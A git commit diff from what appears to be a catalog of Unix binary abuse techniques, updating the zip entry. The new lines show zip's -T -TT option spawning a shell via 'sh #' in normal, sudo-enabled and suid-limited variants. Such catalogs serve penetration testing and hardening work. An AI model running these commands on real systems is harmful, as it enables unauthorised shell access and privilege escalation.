Simplify zip and add suid-limited

This commit is contained in:
Andrea Cardaci 2018-08-19 11:26:08 +02:00
parent 2ff760e560
commit f740b410cc

View File

@ -1,11 +1,15 @@
--- ---
functions: functions:
execute-interactive: execute-interactive:
- code: echo "/bin/sh" > /tmp/run.sh - code: |
chmod +x /tmp/run.sh zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
zip z.zip * -T -TT /tmp/run.sh rm /tmp/x.zip
sudo-enabled: sudo-enabled:
- code: echo "/bin/sh" > /tmp/run.sh - code: |
chmod +x /tmp/run.sh sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
sudo zip z.zip * -T -TT /tmp/run.sh sudo rm /tmp/x.zip
suid-limited:
- code: |
./zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
sudo rm /tmp/x.zip
--- ---